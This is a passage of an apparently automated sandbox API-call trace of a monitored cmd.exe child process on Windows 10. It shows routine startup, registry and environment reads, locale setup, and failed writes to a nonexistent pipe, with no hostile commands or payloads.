hConsoleHandle=0x27c, lpMode=0x7ff7ba02fc0c | out: lpMode=0x7ff7ba02fc0c) returned 0 [0066.153] GetConsoleOutputCP () returned 0x1b5 [0066.163] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7ba02fbb0 | out: lpCPInfo=0x7ff7ba02fbb0) returned 1 [0066.163] SetThreadUILanguage (LangId=0x0) returned 0x409 [0066.323] GetProcessHeap () returned 0x1a2483b0000 [0066.323] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483b6e00) returned 1 [0066.323] GetProcessHeap () returned 0x1a2483b0000 [0066.323] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483c9040) returned 1 [0066.323] GetProcessHeap () returned 0x1a2483b0000 [0066.323] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483b6c30) returned 1 [0066.323] GetProcessHeap () returned 0x1a2483b0000 [0066.323] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483c8fd0) returned 1 [0066.323] GetProcessHeap () returned 0x1a2483b0000 [0066.323] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483b83e0) returned 1 [0066.323] GetProcessHeap () returned 0x1a2483b0000 [0066.323] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483b8fe0) returned 1 [0066.323] GetProcessHeap () returned 0x1a2483b0000 [0066.323] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483b1850) returned 1 [0066.323] GetProcessHeap () returned 0x1a2483b0000 [0066.323] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483b6a80) returned 1 [0066.323] GetProcessHeap () returned 0x1a2483b0000 [0066.323] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483b8320) returned 1 [0066.323] _vsnwprintf (in: _Buffer=0x7ff7ba037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14d3cff398 | out: _Buffer="\r\n") returned 2 [0066.323] _get_osfhandle (_FileHandle=1) returned 0x288 [0066.323] GetFileType (hFile=0x288) returned 0x3 [0066.324] _get_osfhandle (_FileHandle=1) returned 0x288 [0066.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.324] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7ba029970, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14d3cff368, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x14d3cff368, lpOverlapped=0x0) returned 0 [0066.324] GetLastError () returned 0xe8 [0066.324] _get_osfhandle (_FileHandle=1) returned 0x288 [0066.324] GetFileType (hFile=0x288) returned 0x3 [0066.324] _get_osfhandle (_FileHandle=1) returned 0x288 [0066.324] GetFileType (hFile=0x288) returned 0x3 [0066.324] _get_osfhandle (_FileHandle=2) returned 0x288 [0066.324] GetFileType (hFile=0x288) returned 0x3 [0066.324] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2364, dwLanguageId=0x0, lpBuffer=0x7ff7ba037f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The process tried to write to a nonexistent pipe.\r\n") returned 0x33 [0066.324] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2364, dwLanguageId=0x0, lpBuffer=0x7ff7ba037f60, nSize=0x2000, Arguments=0x14d3cff300 | out: lpBuffer="The process tried to write to a nonexistent pipe.\r\n") returned 0x33 [0066.324] _get_osfhandle (_FileHandle=2) returned 0x288 [0066.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="The process tried to write to a nonexistent pipe.\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="The process tried to write to a nonexistent pipe.\r\n", lpUsedDefaultChar=0x0) returned 52 [0066.324] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7ba029970, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x14d3cff258, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x14d3cff258, lpOverlapped=0x0) returned 0 [0066.324] GetLastError () returned 0xe8 [0066.324] exit (_Code=1) Thread: id = 25 os_tid = 0xa6c Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x68bf000" os_pid = "0xe3c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa9c" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 13 os_tid = 0xed8 [0046.102] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7b9ff0000 [0046.102] __set_app_type (_Type=0x1) [0046.102] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7ba006d00) returned 0x0 [0046.102] __getmainargs (in: _Argc=0x7ff7ba029200, _Argv=0x7ff7ba029208, _Env=0x7ff7ba029210, _DoWildCard=0, _StartInfo=0x7ff7ba02921c | out: _Argc=0x7ff7ba029200, _Argv=0x7ff7ba029208, _Env=0x7ff7ba029210) returned 0 [0046.102] _onexit (_Func=0x7ff7ba007fd0) returned 0x7ff7ba007fd0 [0046.102] _onexit (_Func=0x7ff7ba007fe0) returned 0x7ff7ba007fe0 [0046.102] _onexit (_Func=0x7ff7ba007ff0) returned 0x7ff7ba007ff0 [0046.103] _onexit (_Func=0x7ff7ba008000) returned 0x7ff7ba008000 [0046.103] _onexit (_Func=0x7ff7ba008010) returned 0x7ff7ba008010 [0046.103] _onexit (_Func=0x7ff7ba008020) returned 0x7ff7ba008020 [0046.103] GetCurrentThreadId () returned 0xed8 [0046.103] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xed8) returned 0x70 [0046.103] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0046.104] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0046.104] SetThreadUILanguage (LangId=0x0) returned 0x409 [0046.134] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0046.135] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1d756ffbf8 | out: phkResult=0x1d756ffbf8*=0x0) returned 0x2 [0046.135] VirtualQuery (in: lpAddress=0x1d756ffbe4, lpBuffer=0x1d756ffb60, dwLength=0x30 | out: lpBuffer=0x1d756ffb60*(BaseAddress=0x1d756ff000, AllocationBase=0x1d75600000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0046.135] VirtualQuery (in: lpAddress=0x1d75600000, lpBuffer=0x1d756ffb60, dwLength=0x30 | out: lpBuffer=0x1d756ffb60*(BaseAddress=0x1d75600000, AllocationBase=0x1d75600000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0046.135] VirtualQuery (in: lpAddress=0x1d75601000, lpBuffer=0x1d756ffb60, dwLength=0x30 | out: lpBuffer=0x1d756ffb60*(BaseAddress=0x1d75601000, AllocationBase=0x1d75600000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0046.135] VirtualQuery (in: lpAddress=0x1d75604000, lpBuffer=0x1d756ffb60, dwLength=0x30 | out: lpBuffer=0x1d756ffb60*(BaseAddress=0x1d75604000, AllocationBase=0x1d75600000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0046.135] VirtualQuery (in: lpAddress=0x1d75700000, lpBuffer=0x1d756ffb60, dwLength=0x30 | out: lpBuffer=0x1d756ffb60*(BaseAddress=0x1d75700000, AllocationBase=0x1d75700000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0046.135] GetConsoleOutputCP () returned 0x1b5 [0046.138] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7ba02fbb0 | out: lpCPInfo=0x7ff7ba02fbb0) returned 1 [0046.138] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7ba018150, Add=1) returned 1 [0046.138] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.138] GetConsoleMode (in: hConsoleHandle=0x2b0, lpMode=0x7ff7ba02fc04 | out: lpMode=0x7ff7ba02fc04) returned 0 [0046.138] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.138] GetConsoleMode (in: hConsoleHandle=0x2a4, lpMode=0x7ff7ba02fc00 | out: lpMode=0x7ff7ba02fc00) returned 0 [0046.138] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.138] SetConsoleMode (hConsoleHandle=0x2b0, dwMode=0x0) returned 0 [0046.138] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.138] GetConsoleMode (in: hConsoleHandle=0x2b0, lpMode=0x7ff7ba02fc08 | out: lpMode=0x7ff7ba02fc08) returned 0 [0046.138] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.138] GetConsoleMode (in: hConsoleHandle=0x2a4, lpMode=0x7ff7ba02fc0c | out: lpMode=0x7ff7ba02fc0c) returned 0 [0046.138] GetEnvironmentStringsW () returned 0x1c845ac5a10* [0046.138] GetProcessHeap () returned 0x1c845ac0000 [0046.139] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0xa7c) returned 0x1c845ac64a0 [0046.139] FreeEnvironmentStringsA (penv="A") returned 1 [0046.139] GetProcessHeap () returned 0x1c845ac0000 [0046.139] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0x8) returned 0x1c845ac6f30 [0046.139] GetEnvironmentStringsW () returned 0x1c845ac5a10* [0046.139] GetProcessHeap () returned 0x1c845ac0000 [0046.139] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0xa7c) returned 0x1c845ac6f50 [0046.139] FreeEnvironmentStringsA (penv="A") returned 1 [0046.139] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1d756feaa8 | out: phkResult=0x1d756feaa8*=0x7c) returned 0x0 [0046.139] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1d756feaa0, lpData=0x1d756feac0, lpcbData=0x1d756feaa4*=0x1000 | out: lpType=0x1d756feaa0*=0x0, lpData=0x1d756feac0*=0x4, lpcbData=0x1d756feaa4*=0x1000) returned 0x2 [0046.139] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1d756feaa0, lpData=0x1d756feac0, lpcbData=0x1d756feaa4*=0x1000 | out: lpType=0x1d756feaa0*=0x4, lpData=0x1d756feac0*=0x1, lpcbData=0x1d756feaa4*=0x4) returned 0x0 [0046.139] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1d756feaa0, lpData=0x1d756feac0, lpcbData=0x1d756feaa4*=0x1000 | out: lpType=0x1d756feaa0*=0x0, lpData=0x1d756feac0*=0x1, lpcbData=0x1d756feaa4*=0x1000) returned 0x2 [0046.139] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1d756feaa0, lpData=0x1d756feac0, lpcbData=0x1d756feaa4*=0x1000 | out: lpType=0x1d756feaa0*=0x4, lpData=0x1d756feac0*=0x0, lpcbData=0x1d756feaa4*=0x4) returned 0x0 [0046.139] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1d756feaa0, lpData=0x1d756feac0, lpcbData=0x1d756feaa4*=0x1000 | out: lpType=0x1d756feaa0*=0x4, lpData=0x1d756feac0*=0x40, lpcbData=0x1d756feaa4*=0x4) returned 0x0 [0046.139] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1d756feaa0, lpData=0x1d756feac0, lpcbData=0x1d756feaa4*=0x1000 | out: lpType=0x1d756feaa0*=0x4, lpData=0x1d756feac0*=0x40, lpcbData=0x1d756feaa4*=0x4) returned 0x0 [0046.139] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1d756feaa0, lpData=0x1d756feac0, lpcbData=0x1d756feaa4*=0x1000 | out: lpType=0x1d756feaa0*=0x0, lpData=0x1d756feac0*=0x40, lpcbData=0x1d756feaa4*=0x1000) returned 0x2 [0046.139] RegCloseKey (hKey=0x7c) returned 0x0 [0046.139] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1d756feaa8 | out: phkResult=0x1d756feaa8*=0x7c) returned 0x0 [0046.139] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1d756feaa0, lpData=0x1d756feac0, lpcbData=0x1d756feaa4*=0x1000 | out: lpType=0x1d756feaa0*=0x0, lpData=0x1d756feac0*=0x40, lpcbData=0x1d756feaa4*=0x1000) returned 0x2 [0046.139] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1d756feaa0, lpData=0x1d756feac0, lpcbData=0x1d756feaa4*=0x1000 | out: lpType=0x1d756feaa0*=0x4, lpData=0x1d756feac0*=0x1, lpcbData=0x1d756feaa4*=0x4) returned 0x0 [0046.139] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1d756feaa0, lpData=0x1d756feac0, lpcbData=0x1d756feaa4*=0x1000 | out: lpType=0x1d756feaa0*=0x0, lpData=0x1d756feac0*=0x1, lpcbData=0x1d756feaa4*=0x1000) returned 0x2 [0046.140] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1d756feaa0, lpData=0x1d756feac0, lpcbData=0x1d756feaa4*=0x1000 | out: lpType=0x1d756feaa0*=0x4, lpData=0x1d756feac0*=0x0, lpcbData=0x1d756feaa4*=0x4) returned 0x0 [0046.140] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1d756feaa0, lpData=0x1d756feac0, lpcbData=0x1d756feaa4*=0x1000 | out: lpType=0x1d756feaa0*=0x4, lpData=0x1d756feac0*=0x9, lpcbData=0x1d756feaa4*=0x4) returned 0x0 [0046.140] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1d756feaa0, lpData=0x1d756feac0, lpcbData=0x1d756feaa4*=0x1000 | out: lpType=0x1d756feaa0*=0x4, lpData=0x1d756feac0*=0x9, lpcbData=0x1d756feaa4*=0x4) returned 0x0 [0046.140] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1d756feaa0, lpData=0x1d756feac0, lpcbData=0x1d756feaa4*=0x1000 | out: lpType=0x1d756feaa0*=0x0, lpData=0x1d756feac0*=0x9, lpcbData=0x1d756feaa4*=0x1000) returned 0x2 [0046.140] RegCloseKey (hKey=0x7c) returned 0x0 [0046.140] time (in: timer=0x0 | out: timer=0x0) returned 0x5cdd21d9 [0046.140] srand (_Seed=0x5cdd21d9) [0046.140] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0046.140] malloc (_Size=0x4000) returned 0x1c845d054f0 [0046.140] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0046.140] malloc (_Size=0xffce) returned 0x1c845bc0080 [0046.141] ??_V@YAXPEAX@Z () returned 0x1c845bc0080 [0046.141] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1c845bc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0046.141] malloc (_Size=0xffce) returned 0x1c845bd0060 [0046.142] ??_V@YAXPEAX@Z () returned 0x1c845bd0060 [0046.142] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1c845bd0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0046.142] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7ba02bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0046.142] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7ba02bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0046.142] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7ba02bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0046.142] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0046.142] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0046.142] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0046.142] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0046.142] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0046.142] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0046.142] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0046.143] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0046.143] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0046.143] GetProcessHeap () returned 0x1c845ac0000 [0046.143] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ac64a0) returned 1 [0046.143] GetEnvironmentStringsW () returned 0x1c845ac5a10* [0046.143] GetProcessHeap () returned 0x1c845ac0000 [0046.143] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0xa94) returned 0x1c845ac7a10 [0046.143] FreeEnvironmentStringsA (penv="A") returned 1 [0046.143] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7ba02bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0046.143] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7ba02bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0046.143] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0046.144] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0046.144] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0046.144] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0046.144] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0046.144] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0046.144] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0046.144] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0046.144] malloc (_Size=0xffce) returned 0x1c845be0040 [0046.144] ??_V@YAXPEAX@Z () returned 0x1c845be0040 [0046.145] GetProcessHeap () returned 0x1c845ac0000 [0046.145] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0x40) returned 0x1c845ac84b0 [0046.145] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1c845be0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0046.145] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x1c845be0040, lpFilePart=0x1d756ff620 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x1d756ff620*="Desktop") returned 0x17 [0046.146] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0046.146] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1d756ff350 | out: lpFindFileData=0x1d756ff350*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1c845ac8500 [0046.146] FindClose (in: hFindFile=0x1c845ac8500 | out: hFindFile=0x1c845ac8500) returned 1 [0046.146] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x1d756ff350 | out: lpFindFileData=0x1d756ff350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x1c845ac8500 [0046.146] FindClose (in: hFindFile=0x1c845ac8500 | out: hFindFile=0x1c845ac8500) returned 1 [0046.146] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x1d756ff350 | out: lpFindFileData=0x1d756ff350*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xdbe9f708, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xdbe9f708, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1c845ac8500 [0046.146] FindClose (in: hFindFile=0x1c845ac8500 | out: hFindFile=0x1c845ac8500) returned 1 [0046.147] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0046.147] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0046.147] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0046.147] GetProcessHeap () returned 0x1c845ac0000 [0046.147] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ac7a10) returned 1 [0046.147] GetEnvironmentStringsW () returned 0x1c845ac0fc0* [0046.147] GetProcessHeap () returned 0x1c845ac0000 [0046.147] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0xacc) returned 0x1c845ac8500 [0046.147] FreeEnvironmentStringsA (penv="=") returned 1 [0046.147] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1c845bc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0046.147] GetProcessHeap () returned 0x1c845ac0000 [0046.147] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ac84b0) returned 1 [0046.147] ??_V@YAXPEAX@Z () returned 0x1 [0046.147] ??_V@YAXPEAX@Z () returned 0x1 [0046.147] GetProcessHeap () returned 0x1c845ac0000 [0046.147] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0x4016) returned 0x1c845ac8fe0 [0046.148] GetProcessHeap () returned 0x1c845ac0000 [0046.148] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ac8fe0) returned 1 [0046.148] GetConsoleOutputCP () returned 0x1b5 [0046.181] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7ba02fbb0 | out: lpCPInfo=0x7ff7ba02fbb0) returned 1 [0046.181] GetUserDefaultLCID () returned 0x409 [0046.182] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7ba02bb78, cchData=8 | out: lpLCData=":") returned 2 [0046.182] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1d756ff9e0, cchData=128 | out: lpLCData="0") returned 2 [0046.182] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1d756ff9e0, cchData=128 | out: lpLCData="0") returned 2 [0046.182] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1d756ff9e0, cchData=128 | out: lpLCData="1") returned 2 [0046.182] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7ba02bb68, cchData=8 | out: lpLCData="/") returned 2 [0046.182] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7ba02bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0046.182] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7ba02bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0046.182] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7ba02ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0046.182] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7ba02ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0046.182] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7ba02ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0046.182] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7ba02b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0046.182] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7ba02b980, cchData=32 | out: lpLCData="Sun") returned 4 [0046.182] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7ba02bb58, cchData=8 | out: lpLCData=".") returned 2 [0046.182] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7ba02bb40, cchData=8 | out: lpLCData=",") returned 2 [0046.182] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0046.184] GetProcessHeap () returned 0x1c845ac0000 [0046.184] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x0, Size=0x20c) returned 0x1c845ac6560 [0046.184] GetConsoleTitleW (in: lpConsoleTitle=0x1c845ac6560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0046.191] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.191] GetFileType (hFile=0x2b0) returned 0x3 [0046.282] ApiSetQueryApiSetPresence () returned 0x0 [0046.282] ResolveDelayLoadedAPI () returned 0x7ff929acd990 [0046.286] BrandingFormatString () returned 0x1c845ac1850 [0046.305] GetVersion () returned 0x3ad7000a [0046.305] _vsnwprintf (in: _Buffer=0x1d756ffb40, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x1d756ffad8 | out: _Buffer="10.0.15063") returned 10 [0046.305] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.305] GetFileType (hFile=0x2b0) returned 0x3 [0046.305] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7ba037f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0046.306] 